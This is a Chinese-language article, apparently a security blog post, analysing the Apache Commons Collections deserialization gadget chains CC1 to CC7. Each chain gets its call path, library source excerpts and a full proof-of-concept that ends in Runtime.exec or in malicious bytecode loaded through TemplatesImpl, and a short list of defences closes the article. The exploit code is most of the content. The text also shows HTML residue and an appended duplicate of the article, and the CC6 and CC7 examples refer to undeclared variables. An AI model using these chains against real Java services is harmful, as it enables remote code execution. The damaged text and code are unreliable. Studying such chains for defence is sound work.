Apache Commons Collections 反序列化漏洞分析 (1-7)<\/h1>

前言<\/h2>
本文详细分析 Apache Commons Collections 1-7 反序列化漏洞利用链，涵盖各版本漏洞原理、调用链分析和完整POC实现。前置知识包括 Java 反序列化、动态代理和 Javassist 字节码操作等。<\/p>

CommonsCollections1 分析<\/h2>

漏洞原理<\/h3>
利用 AnnotationInvocationHandler 的 readObject 方法触发动态代理调用，通过 LazyMap.get() 方法执行 Transformer 链，最终实现任意命令执行。<\/p>

调用链<\/h3>

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.getRuntime()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
<\/code><\/pre>
关键代码分析<\/h3>

InvokerTransformer.transform<\/strong> - 反射调用任意方法<\/li>
<\/ol>
public<\/span> Object transform<\/span>(<\/span>Object input)<\/span> {<\/span>
<\/span><\/span>    Class cls =<\/span> input.<\/span>getClass<\/span>();<\/span>
<\/span><\/span>    Method method =<\/span> cls.<\/span>getMethod<\/span>(<\/span>iMethodName,<\/span> iParamTypes);<\/span>
<\/span><\/span>    return<\/span> method.<\/span>invoke<\/span>(<\/span>input,<\/span> iArgs);<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>
ChainedTransformer.transform<\/strong> - 链式执行多个 Transformer<\/li>
<\/ol>
public<\/span> Object transform<\/span>(<\/span>Object object)<\/span> {<\/span>
<\/span><\/span>    for<\/span> (<\/span>int<\/span> i =<\/span> 0<\/span>;<\/span> i <<\/span> iTransformers.<\/span>length<\/span>;<\/span> i++)<\/span> {<\/span>
<\/span><\/span>        object =<\/span> iTransformers[<\/span>i].<\/span>transform<\/span>(<\/span>object);<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    return<\/span> object;<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>
LazyMap.get<\/strong> - 触发 Transformer 执行<\/li>
<\/ol>
public<\/span> Object get<\/span>(<\/span>Object key)<\/span> {<\/span>
<\/span><\/span>    if<\/span> (!<\/span>super<\/span>.<\/span>map<\/span>.<\/span>containsKey<\/span>(<\/span>key))<\/span> {<\/span>
<\/span><\/span>        Object value =<\/span> this<\/span>.<\/span>factory<\/span>.<\/span>transform<\/span>(<\/span>key);<\/span>
<\/span><\/span>        super<\/span>.<\/span>map<\/span>.<\/span>put<\/span>(<\/span>key,<\/span> value);<\/span>
<\/span><\/span>        return<\/span> value;<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    return<\/span> super<\/span>.<\/span>map<\/span>.<\/span>get<\/span>(<\/span>key);<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>POC 实现<\/h3>
Transformer[]<\/span> transformers =<\/span> new<\/span> Transformer[]{<\/span>
<\/span><\/span>    new<\/span> ConstantTransformer(<\/span>Runtime.<\/span>class<\/span>),<\/span>
<\/span><\/span>    new<\/span> InvokerTransformer(<\/span>"getMethod"<\/span>,<\/span> 
<\/span><\/span>        new<\/span> Class[]{<\/span>String.<\/span>class<\/span>,<\/span>Class[].<\/span>class<\/span>},<\/span> 
<\/span><\/span>        new<\/span> Object[]{<\/span>"getRuntime"<\/span>,<\/span>new<\/span> Class[]{}}),<\/span>
<\/span><\/span>    new<\/span> InvokerTransformer(<\/span>"invoke"<\/span>,<\/span> 
<\/span><\/span>        new<\/span> Class[]{<\/span>Object.<\/span>class<\/span>,<\/span>Object[].<\/span>class<\/span>},<\/span> 
<\/span><\/span>        new<\/span> Object[]{<\/span>null<\/span>,<\/span>new<\/span> Object[]{}}),<\/span>
<\/span><\/span>    new<\/span> InvokerTransformer(<\/span>"exec"<\/span>,<\/span> 
<\/span><\/span>        new<\/span> Class[]{<\/span>String.<\/span>class<\/span>},<\/span> 
<\/span><\/span>        new<\/span> Object[]{<\/span>"calc"<\/span>})<\/span>
<\/span><\/span>};<\/span>
<\/span><\/span>
<\/span><\/span>ChainedTransformer chainedTransformer =<\/span> new<\/span> ChainedTransformer(<\/span>transformers);<\/span>
<\/span><\/span>Map map =<\/span> new<\/span> HashMap();<\/span>
<\/span><\/span>Map lazyMap =<\/span> LazyMap.<\/span>decorate<\/span>(<\/span>map,<\/span> chainedTransformer);<\/span>
<\/span><\/span>
<\/span><\/span>Class cls =<\/span> Class.<\/span>forName<\/span>(<\/span>"sun.reflect.annotation.AnnotationInvocationHandler"<\/span>);<\/span>
<\/span><\/span>Constructor constructor =<\/span> cls.<\/span>getDeclaredConstructor<\/span>(<\/span>Class.<\/span>class<\/span>,<\/span> Map.<\/span>class<\/span>);<\/span>
<\/span><\/span>constructor.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span>
<\/span><\/span>
<\/span><\/span>InvocationHandler invocationHandler =<\/span> (<\/span>InvocationHandler)<\/span>constructor.<\/span>newInstance<\/span>(<\/span>Override.<\/span>class<\/span>,<\/span> lazyMap);<\/span>
<\/span><\/span>Map map1 =<\/span> (<\/span>Map)<\/span>Proxy.<\/span>newProxyInstance<\/span>(<\/span>LazyMap.<\/span>class<\/span>.<\/span>getClassLoader<\/span>(),<\/span> 
<\/span><\/span>    LazyMap.<\/span>class<\/span>.<\/span>getInterfaces<\/span>(),<\/span> invocationHandler);<\/span>
<\/span><\/span>Object object =<\/span> constructor.<\/span>newInstance<\/span>(<\/span>Override.<\/span>class<\/span>,<\/span> map1);<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 序列化和反序列化触发
<\/span><\/span><\/span><\/code><\/pre>CommonsCollections2 分析<\/h2>
漏洞原理<\/h3>
利用 PriorityQueue 的 readObject 方法触发 TransformingComparator.compare，通过 InvokerTransformer 调用 TemplatesImpl 的 newTransformer 方法执行恶意字节码。<\/p>
调用链<\/h3>
ObjectInputStream.readObject()
    PriorityQueue.readObject()
        ...
            TransformingComparator.compare()
                InvokerTransformer.transform()
                    Method.invoke()
                        Runtime.exec()
<\/code><\/pre>
关键代码分析<\/h3>

PriorityQueue.readObject<\/strong> - 反序列化入口<\/li>
<\/ol>
private<\/span> void<\/span> readObject<\/span>(<\/span>java.<\/span>io<\/span>.<\/span>ObjectInputStream<\/span> s)<\/span>
<\/span><\/span>    throws<\/span> java.<\/span>io<\/span>.<\/span>IOException<\/span>,<\/span> ClassNotFoundException {<\/span>
<\/span><\/span>    \/\/ 读取元素
<\/span><\/span><\/span><\/span>    for<\/span> (<\/span>int<\/span> i =<\/span> 0<\/span>;<\/span> i <<\/span> size;<\/span> i++)<\/span>
<\/span><\/span>        queue[<\/span>i]<\/span> =<\/span> s.<\/span>readObject<\/span>();<\/span>
<\/span><\/span>    heapify();<\/span> \/\/ 触发比较
<\/span><\/span><\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>
TransformingComparator.compare<\/strong> - 触发 Transformer<\/li>
<\/ol>
public<\/span> int<\/span> compare<\/span>(<\/span>I obj1,<\/span> I obj2)<\/span> {<\/span>
<\/span><\/span>    O value1 =<\/span> this<\/span>.<\/span>transformer<\/span>.<\/span>transform<\/span>(<\/span>obj1);<\/span>
<\/span><\/span>    O value2 =<\/span> this<\/span>.<\/span>transformer<\/span>.<\/span>transform<\/span>(<\/span>obj2);<\/span>
<\/span><\/span>    return<\/span> this<\/span>.<\/span>decorated<\/span>.<\/span>compare<\/span>(<\/span>value1,<\/span> value2);<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>
TemplatesImpl.defineTransletClasses<\/strong> - 加载恶意字节码<\/li>
<\/ol>
private<\/span> void<\/span> defineTransletClasses<\/span>()<\/span> {<\/span>
<\/span><\/span>    \/\/ 通过 ClassLoader 定义类
<\/span><\/span><\/span><\/span>    _class[<\/span>i]<\/span> =<\/span> loader.<\/span>defineClass<\/span>(<\/span>_bytecodes[<\/span>i]);<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>POC 实现<\/h3>
\/\/ 生成恶意字节码
<\/span><\/span><\/span><\/span>ClassPool classPool =<\/span> ClassPool.<\/span>getDefault<\/span>();<\/span>
<\/span><\/span>CtClass payload =<\/span> classPool.<\/span>makeClass<\/span>(<\/span>"EvilClass"<\/span>);<\/span>
<\/span><\/span>payload.<\/span>setSuperclass<\/span>(<\/span>classPool.<\/span>get<\/span>(<\/span>"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"<\/span>));<\/span>
<\/span><\/span>payload.<\/span>makeClassInitializer<\/span>().<\/span>setBody<\/span>(<\/span>"java.lang.Runtime.getRuntime().exec(\"calc\");"<\/span>);<\/span>
<\/span><\/span>byte<\/span>[]<\/span> bytes =<\/span> payload.<\/span>toBytecode<\/span>();<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 设置 TemplatesImpl
<\/span><\/span><\/span><\/span>Object templatesImpl =<\/span> Class.<\/span>forName<\/span>(<\/span>"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"<\/span>)<\/span>
<\/span><\/span>    .<\/span>getDeclaredConstructor<\/span>().<\/span>newInstance<\/span>();<\/span>
<\/span><\/span>Field _bytecodes =<\/span> templatesImpl.<\/span>getClass<\/span>().<\/span>getDeclaredField<\/span>(<\/span>"_bytecodes"<\/span>);<\/span>
<\/span><\/span>_bytecodes.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span>
<\/span><\/span>_bytecodes.<\/span>set<\/span>(<\/span>templatesImpl,<\/span> new<\/span> byte<\/span>[][]{<\/span>bytes});<\/span>
<\/span><\/span>
<\/span><\/span>Field _name =<\/span> templatesImpl.<\/span>getClass<\/span>().<\/span>getDeclaredField<\/span>(<\/span>"_name"<\/span>);<\/span>
<\/span><\/span>_name.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span>
<\/span><\/span>_name.<\/span>set<\/span>(<\/span>templatesImpl,<\/span> "test"<\/span>);<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 构造 Transformer 链
<\/span><\/span><\/span><\/span>InvokerTransformer transformer =<\/span> new<\/span> InvokerTransformer(<\/span>"newTransformer"<\/span>,<\/span> new<\/span> Class[]{},<\/span> new<\/span> Object[]{});<\/span>
<\/span><\/span>TransformingComparator comparator =<\/span> new<\/span> TransformingComparator(<\/span>transformer);<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 设置 PriorityQueue
<\/span><\/span><\/span><\/span>PriorityQueue queue =<\/span> new<\/span> PriorityQueue(<\/span>2<\/span>);<\/span>
<\/span><\/span>queue.<\/span>add<\/span>(<\/span>1<\/span>);<\/span>
<\/span><\/span>queue.<\/span>add<\/span>(<\/span>1<\/span>);<\/span>
<\/span><\/span>
<\/span><\/span>Field comparatorField =<\/span> queue.<\/span>getClass<\/span>().<\/span>getDeclaredField<\/span>(<\/span>"comparator"<\/span>);<\/span>
<\/span><\/span>comparatorField.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span>
<\/span><\/span>comparatorField.<\/span>set<\/span>(<\/span>queue,<\/span> comparator);<\/span>
<\/span><\/span>
<\/span><\/span>Field queueField =<\/span> queue.<\/span>getClass<\/span>().<\/span>getDeclaredField<\/span>(<\/span>"queue"<\/span>);<\/span>
<\/span><\/span>queueField.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span>
<\/span><\/span>queueField.<\/span>set<\/span>(<\/span>queue,<\/span> new<\/span> Object[]{<\/span>templatesImpl,<\/span> templatesImpl});<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 序列化和反序列化触发
<\/span><\/span><\/span><\/code><\/pre>CommonsCollections3 分析<\/h2>
漏洞原理<\/h3>
结合 CC1 的动态代理链和 CC2 的 TemplatesImpl，使用 InstantiateTransformer 实例化 TrAXFilter 触发 TemplatesImpl.newTransformer。<\/p>
调用链<\/h3>
ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InstantiateTransformer.transform()
                            TrAXFilter 构造函数
                                TemplatesImpl.newTransformer()
                                    ... 执行恶意字节码
<\/code><\/pre>
关键代码分析<\/h3>

InstantiateTransformer.transform<\/strong> - 实例化任意类<\/li>
<\/ol>
public<\/span> Object transform<\/span>(<\/span>Object input)<\/span> {<\/span>
<\/span><\/span>    Constructor con =<\/span> ((<\/span>Class)<\/span>input).<\/span>getConstructor<\/span>(<\/span>this<\/span>.<\/span>iParamTypes<\/span>);<\/span>
<\/span><\/span>    return<\/span> con.<\/span>newInstance<\/span>(<\/span>this<\/span>.<\/span>iArgs<\/span>);<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>
TrAXFilter 构造函数<\/strong> - 触发 newTransformer<\/li>
<\/ol>
public<\/span> TrAXFilter<\/span>(<\/span>Templates templates)<\/span> throws<\/span> TransformerConfigurationException {<\/span>
<\/span><\/span>    _transformer =<\/span> (<\/span>TransformerImpl)<\/span> templates.<\/span>newTransformer<\/span>();<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>POC 实现<\/h3>
\/\/ 生成恶意字节码 (同CC2)
<\/span><\/span><\/span><\/span>
<\/span><\/span>\/\/ 设置 TemplatesImpl (同CC2)
<\/span><\/span><\/span><\/span>
<\/span><\/span>\/\/ 构造 Transformer 链
<\/span><\/span><\/span><\/span>InstantiateTransformer instantiateTransformer =<\/span> new<\/span> InstantiateTransformer(<\/span>
<\/span><\/span>    new<\/span> Class[]{<\/span>Templates.<\/span>class<\/span>},<\/span> new<\/span> Object[]{<\/span>templatesImpl});<\/span>
<\/span><\/span>    
<\/span><\/span>Transformer[]<\/span> transformers =<\/span> new<\/span> Transformer[]{<\/span>
<\/span><\/span>    new<\/span> ConstantTransformer(<\/span>TrAXFilter.<\/span>class<\/span>),<\/span>
<\/span><\/span>    instantiateTransformer
<\/span><\/span>};<\/span>
<\/span><\/span>
<\/span><\/span>ChainedTransformer chainedTransformer =<\/span> new<\/span> ChainedTransformer(<\/span>transformers);<\/span>
<\/span><\/span>Map map =<\/span> new<\/span> HashMap();<\/span>
<\/span><\/span>Map lazyMap =<\/span> LazyMap.<\/span>decorate<\/span>(<\/span>map,<\/span> chainedTransformer);<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 创建动态代理 (同CC1)
<\/span><\/span><\/span>\/\/ 序列化和反序列化触发
<\/span><\/span><\/span><\/code><\/pre>CommonsCollections4 分析<\/h2>
漏洞原理<\/h3>
与 CC2 类似，但使用 InstantiateTransformer 替代 InvokerTransformer 触发 TemplatesImpl。<\/p>
调用链<\/h3>
ObjectInputStream.readObject()
    PriorityQueue.readObject()
        ...
            TransformingComparator.compare()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                    InstantiateTransformer.transform()
                        TrAXFilter 构造函数
                            TemplatesImpl.newTransformer()
                                ... 执行恶意字节码
<\/code><\/pre>
POC 实现<\/h3>
\/\/ 生成恶意字节码 (同CC2)
<\/span><\/span><\/span>\/\/ 设置 TemplatesImpl (同CC2)
<\/span><\/span><\/span><\/span>
<\/span><\/span>\/\/ 构造 Transformer 链
<\/span><\/span><\/span><\/span>InstantiateTransformer instantiateTransformer =<\/span> new<\/span> InstantiateTransformer(<\/span>
<\/span><\/span>    new<\/span> Class[]{<\/span>Templates.<\/span>class<\/span>},<\/span> new<\/span> Object[]{<\/span>templatesImpl});<\/span>
<\/span><\/span>    
<\/span><\/span>Transformer[]<\/span> transformers =<\/span> new<\/span> Transformer[]{<\/span>
<\/span><\/span>    new<\/span> ConstantTransformer(<\/span>TrAXFilter.<\/span>class<\/span>),<\/span>
<\/span><\/span>    instantiateTransformer
<\/span><\/span>};<\/span>
<\/span><\/span>
<\/span><\/span>ChainedTransformer chainedTransformer =<\/span> new<\/span> ChainedTransformer(<\/span>transformers);<\/span>
<\/span><\/span>TransformingComparator comparator =<\/span> new<\/span> TransformingComparator(<\/span>chainedTransformer);<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 设置 PriorityQueue (同CC2)
<\/span><\/span><\/span>\/\/ 序列化和反序列化触发
<\/span><\/span><\/span><\/code><\/pre>CommonsCollections5 分析<\/h2>
漏洞原理<\/h3>
利用 BadAttributeValueExpException 的 readObject 方法触发 TiedMapEntry.toString，进而调用 LazyMap.get 执行 Transformer 链。<\/p>
调用链<\/h3>
ObjectInputStream.readObject()
    BadAttributeValueExpException.readObject()
        TiedMapEntry.toString()
            TiedMapEntry.getValue()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ... 执行命令
<\/code><\/pre>
关键代码分析<\/h3>

BadAttributeValueExpException.readObject<\/strong> - 反序列化入口<\/li>
<\/ol>
private<\/span> void<\/span> readObject<\/span>(<\/span>ObjectInputStream ois)<\/span> throws<\/span> IOException,<\/span> ClassNotFoundException {<\/span>
<\/span><\/span>    Object valObj =<\/span> gf.<\/span>get<\/span>(<\/span>"val"<\/span>,<\/span> null<\/span>);<\/span>
<\/span><\/span>    val =<\/span> valObj.<\/span>toString<\/span>();<\/span> \/\/ 触发 toString
<\/span><\/span><\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>
TiedMapEntry.getValue<\/strong> - 触发 LazyMap.get<\/li>
<\/ol>
public<\/span> Object getValue<\/span>()<\/span> {<\/span>
<\/span><\/span>    return<\/span> this<\/span>.<\/span>map<\/span>.<\/span>get<\/span>(<\/span>this<\/span>.<\/span>key<\/span>);<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>POC 实现<\/h3>
Transformer[]<\/span> transformers =<\/span> new<\/span> Transformer[]{<\/span>
<\/span><\/span>    new<\/span> ConstantTransformer(<\/span>Runtime.<\/span>class<\/span>),<\/span>
<\/span><\/span>    new<\/span> InvokerTransformer(<\/span>"getMethod"<\/span>,<\/span> 
<\/span><\/span>        new<\/span> Class[]{<\/span>String.<\/span>class<\/span>,<\/span>Class[].<\/span>class<\/span>},<\/span> 
<\/span><\/span>        new<\/span> Object[]{<\/span>"getRuntime"<\/span>,<\/span>new<\/span> Class[]{}}),<\/span>
<\/span><\/span>    new<\/span> InvokerTransformer(<\/span>"invoke"<\/span>,<\/span> 
<\/span><\/span>        new<\/span> Class[]{<\/span>Object.<\/span>class<\/span>,<\/span>Object[].<\/span>class<\/span>},<\/span> 
<\/span><\/span>        new<\/span> Object[]{<\/span>null<\/span>,<\/span>new<\/span> Object[]{}}),<\/span>
<\/span><\/span>    new<\/span> InvokerTransformer(<\/span>"exec"<\/span>,<\/span> 
<\/span><\/span>        new<\/span> Class[]{<\/span>String.<\/span>class<\/span>},<\/span> 
<\/span><\/span>        new<\/span> Object[]{<\/span>"calc"<\/span>})<\/span>
<\/span><\/span>};<\/span>
<\/span><\/span>
<\/span><\/span>ChainedTransformer chainedTransformer =<\/span> new<\/span> ChainedTransformer(<\/span>transformers);<\/span>
<\/span><\/span>Map map =<\/span> new<\/span> HashMap();<\/span>
<\/span><\/span>Map lazyMap =<\/span> LazyMap.<\/span>decorate<\/span>(<\/span>map,<\/span> chainedTransformer);<\/span>
<\/span><\/span>
<\/span><\/span>TiedMapEntry tiedMapEntry =<\/span> new<\/span> TiedMapEntry(<\/span>lazyMap,<\/span> "test"<\/span>);<\/span>
<\/span><\/span>BadAttributeValueExpException badAttributeValueExpException =<\/span> new<\/span> BadAttributeValueExpException(<\/span>null<\/span>);<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 通过反射设置 val 字段
<\/span><\/span><\/span><\/span>Field valField =<\/span> badAttributeValueExpException.<\/span>getClass<\/span>().<\/span>getDeclaredField<\/span>(<\/span>"val"<\/span>);<\/span>
<\/span><\/span>valField.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span>
<\/span><\/span>valField.<\/span>set<\/span>(<\/span>badAttributeValueExpException,<\/span> tiedMapEntry);<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 序列化和反序列化触发
<\/span><\/span><\/span><\/code><\/pre>CommonsCollections6 分析<\/h2>
漏洞原理<\/h3>
利用 HashSet 的 readObject 方法触发 HashMap.put，进而通过 hashCode 和 equals 调用 TiedMapEntry.getValue 执行 Transformer 链。<\/p>
调用链<\/h3>
ObjectInputStream.readObject()
    HashSet.readObject()
        HashMap.put()
            HashMap.hash()
                TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ... 执行命令
<\/code><\/pre>
关键代码分析<\/h3>

HashSet.readObject<\/strong> - 反序列化入口<\/li>
<\/ol>
private<\/span> void<\/span> readObject<\/span>(<\/span>java.<\/span>io<\/span>.<\/span>ObjectInputStream<\/span> s)<\/span>
<\/span><\/span>    throws<\/span> java.<\/span>io<\/span>.<\/span>IOException<\/span>,<\/span> ClassNotFoundException {<\/span>
<\/span><\/span>    map.<\/span>put<\/span>(<\/span>e,<\/span> PRESENT);<\/span> \/\/ 触发 HashMap.put
<\/span><\/span><\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>
HashMap.hash<\/strong> - 触发 hashCode<\/li>
<\/ol>
static<\/span> final<\/span> int<\/span> hash<\/span>(<\/span>Object key)<\/span> {<\/span>
<\/span><\/span>    int<\/span> h;<\/span>
<\/span><\/span>    return<\/span> (<\/span>key ==<\/span> null<\/span>)<\/span> ?<\/span> 0<\/span> :<\/span> (<\/span>h =<\/span> key.<\/span>hashCode<\/span>())<\/span> ^<\/span> (<\/span>h >>><\/span> 16<\/span>);<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>POC 实现<\/h3>
\/\/ 构造 Transformer 链 (同CC5)
<\/span><\/span><\/span><\/span>
<\/span><\/span>Map map =<\/span> new<\/span> HashMap();<\/span>
<\/span><\/span>Map lazyMap =<\/span> LazyMap.<\/span>decorate<\/span>(<\/span>map,<\/span> new<\/span> ChainedTransformer(<\/span>new<\/span> Transformer[]{}));<\/span>
<\/span><\/span>
<\/span><\/span>TiedMapEntry tiedMapEntry =<\/span> new<\/span> TiedMapEntry(<\/span>lazyMap,<\/span> "test1"<\/span>);<\/span>
<\/span><\/span>HashSet hashSet =<\/span> new<\/span> HashSet(<\/span>1<\/span>);<\/span>
<\/span><\/span>hashSet.<\/span>add<\/span>(<\/span>tiedMapEntry);<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 移除测试键防止干扰
<\/span><\/span><\/span><\/span>lazyMap.<\/span>remove<\/span>(<\/span>"test1"<\/span>);<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 通过反射设置真正的 Transformer 链
<\/span><\/span><\/span><\/span>Field field =<\/span> ChainedTransformer.<\/span>class<\/span>.<\/span>getDeclaredField<\/span>(<\/span>"iTransformers"<\/span>);<\/span>
<\/span><\/span>field.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span>
<\/span><\/span>field.<\/span>set<\/span>(<\/span>transformerChain,<\/span> transformers);<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 序列化和反序列化触发
<\/span><\/span><\/span><\/code><\/pre>CommonsCollections7 分析<\/h2>
漏洞原理<\/h3>
利用 Hashtable 的 readObject 方法触发 reconstitutionPut，通过 equals 比较触发 LazyMap.get 执行 Transformer 链。<\/p>
调用链<\/h3>
ObjectInputStream.readObject()
    Hashtable.readObject()
        Hashtable.reconstitutionPut()
            AbstractMapDecorator.equals()
                AbstractMap.equals()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ... 执行命令
<\/code><\/pre>
关键代码分析<\/h3>

Hashtable.reconstitutionPut<\/strong> - 触发 equals<\/li>
<\/ol>
private<\/span> void<\/span> reconstitutionPut<\/span>(<\/span>Entry<?,?>[]<\/span> tab,<\/span> K key,<\/span> V value)<\/span> {<\/span>
<\/span><\/span>    if<\/span> ((<\/span>e.<\/span>hash<\/span> ==<\/span> hash)<\/span> &&<\/span> e.<\/span>key<\/span>.<\/span>equals<\/span>(<\/span>key))<\/span> {<\/span>
<\/span><\/span>        throw<\/span> new<\/span> java.<\/span>io<\/span>.<\/span>StreamCorruptedException<\/span>();<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>
AbstractMap.equals<\/strong> - 触发 get<\/li>
<\/ol>
public<\/span> boolean<\/span> equals<\/span>(<\/span>Object o)<\/span> {<\/span>
<\/span><\/span>    if<\/span> (!<\/span>value.<\/span>equals<\/span>(<\/span>m.<\/span>get<\/span>(<\/span>key)))<\/span>
<\/span><\/span>        return<\/span> false<\/span>;<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>POC 实现<\/h3>
\/\/ 构造 Transformer 链 (同CC5)
<\/span><\/span><\/span><\/span>
<\/span><\/span>Map map1 =<\/span> new<\/span> HashMap();<\/span>
<\/span><\/span>Map map2 =<\/span> new<\/span> HashMap();<\/span>
<\/span><\/span>
<\/span><\/span>Map lazyMap1 =<\/span> LazyMap.<\/span>decorate<\/span>(<\/span>map1,<\/span> new<\/span> ChainedTransformer(<\/span>new<\/span> Transformer[]{}));<\/span>
<\/span><\/span>Map lazyMap2 =<\/span> LazyMap.<\/span>decorate<\/span>(<\/span>map2,<\/span> new<\/span> ChainedTransformer(<\/span>new<\/span> Transformer[]{}));<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 设置不同键触发比较
<\/span><\/span><\/span><\/span>lazyMap1.<\/span>put<\/span>(<\/span>"yy"<\/span>,<\/span> 1<\/span>);<\/span>
<\/span><\/span>lazyMap2.<\/span>put<\/span>(<\/span>"zZ"<\/span>,<\/span> 1<\/span>);<\/span>
<\/span><\/span>
<\/span><\/span>Hashtable hashtable =<\/span> new<\/span> Hashtable();<\/span>
<\/span><\/span>hashtable.<\/span>put<\/span>(<\/span>lazyMap1,<\/span> 1<\/span>);<\/span>
<\/span><\/span>hashtable.<\/span>put<\/span>(<\/span>lazyMap2,<\/span> 2<\/span>);<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 清理测试数据
<\/span><\/span><\/span><\/span>lazyMap2.<\/span>remove<\/span>(<\/span>"yy"<\/span>);<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 通过反射设置真正的 Transformer 链
<\/span><\/span><\/span><\/span>Field field =<\/span> ChainedTransformer.<\/span>class<\/span>.<\/span>getDeclaredField<\/span>(<\/span>"iTransformers"<\/span>);<\/span>
<\/span><\/span>field.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span>
<\/span><\/span>field.<\/span>set<\/span>(<\/span>transformerChain,<\/span> transformers);<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 序列化和反序列化触发
<\/span><\/span><\/span><\/code><\/pre>总结<\/h2>


CC1-CC7 核心思想<\/strong>：通过反序列化触发特定类的特定方法，最终执行 Transformer 链或加载恶意字节码。<\/p>
<\/li>

主要触发点<\/strong>：<\/p>

AnnotationInvocationHandler.readObject (CC1, CC3)<\/li>
PriorityQueue.readObject (CC2, CC4)<\/li>
BadAttributeValueExpException.readObject (CC5)<\/li>
HashSet.readObject (CC6)<\/li>
Hashtable.readObject (CC7)<\/li>
<\/ul>
<\/li>

执行方式<\/strong>：<\/p>

InvokerTransformer 反射调用 (CC1, CC2, CC5-7)<\/li>
InstantiateTransformer 实例化触发 (CC3, CC4)<\/li>
TemplatesImpl 字节码加载 (CC2-4)<\/li>
<\/ul>
<\/li>

防御措施<\/strong>：<\/p>

升级 Commons Collections 到安全版本<\/li>
使用 Java 反序列化过滤器<\/li>
避免反序列化不可信数据<\/li>
<\/ul>
<\/li>
<\/ol>
参考<\/h2>

https:\/\/www.freebuf.com\/articles\/web\/214096.html<\/li>
https:\/\/xz.aliyun.com\/t\/7157<\/li>
<\/ol>

Apache Commons Collections 反序列化漏洞分析 (1-7)<\/h1>

前言<\/h2> 本文详细分析 Apache Commons Collections 1-7 反序列化漏洞利用链，涵盖各版本漏洞原理、调用链分析和完整POC实现。前置知识包括 Java 反序列化、动态代理和 Javassist 字节码操作等。<\/p>

CommonsCollections1 分析<\/h2>

漏洞原理<\/h3> 利用 AnnotationInvocationHandler 的 readObject 方法触发动态代理调用，通过 LazyMap.get() 方法执行 Transformer 链，最终实现任意命令执行。<\/p>

CommonsCollections2 分析<\/h2>

漏洞原理<\/h3> 利用 PriorityQueue 的 readObject 方法触发 TransformingComparator.compare，通过 InvokerTransformer 调用 TemplatesImpl 的 newTransformer 方法执行恶意字节码。<\/p>

CommonsCollections3 分析<\/h2>

漏洞原理<\/h3> 结合 CC1 的动态代理链和 CC2 的 TemplatesImpl，使用 InstantiateTransformer 实例化 TrAXFilter 触发 TemplatesImpl.newTransformer。<\/p>

CommonsCollections4 分析<\/h2>

漏洞原理<\/h3> 与 CC2 类似，但使用 InstantiateTransformer 替代 InvokerTransformer 触发 TemplatesImpl。<\/p>

CommonsCollections5 分析<\/h2>

漏洞原理<\/h3> 利用 BadAttributeValueExpException 的 readObject 方法触发 TiedMapEntry.toString，进而调用 LazyMap.get 执行 Transformer 链。<\/p>

CommonsCollections6 分析<\/h2>

漏洞原理<\/h3> 利用 HashSet 的 readObject 方法触发 HashMap.put，进而通过 hashCode 和 equals 调用 TiedMapEntry.getValue 执行 Transformer 链。<\/p>

CommonsCollections7 分析<\/h2>

漏洞原理<\/h3> 利用 Hashtable 的 readObject 方法触发 reconstitutionPut，通过 equals 比较触发 LazyMap.get 执行 Transformer 链。<\/p>

参考<\/h2> https:\/\/www.freebuf.com\/articles\/web\/214096.html<\/li> https:\/\/xz.aliyun.com\/t\/7157<\/li> <\/ol>

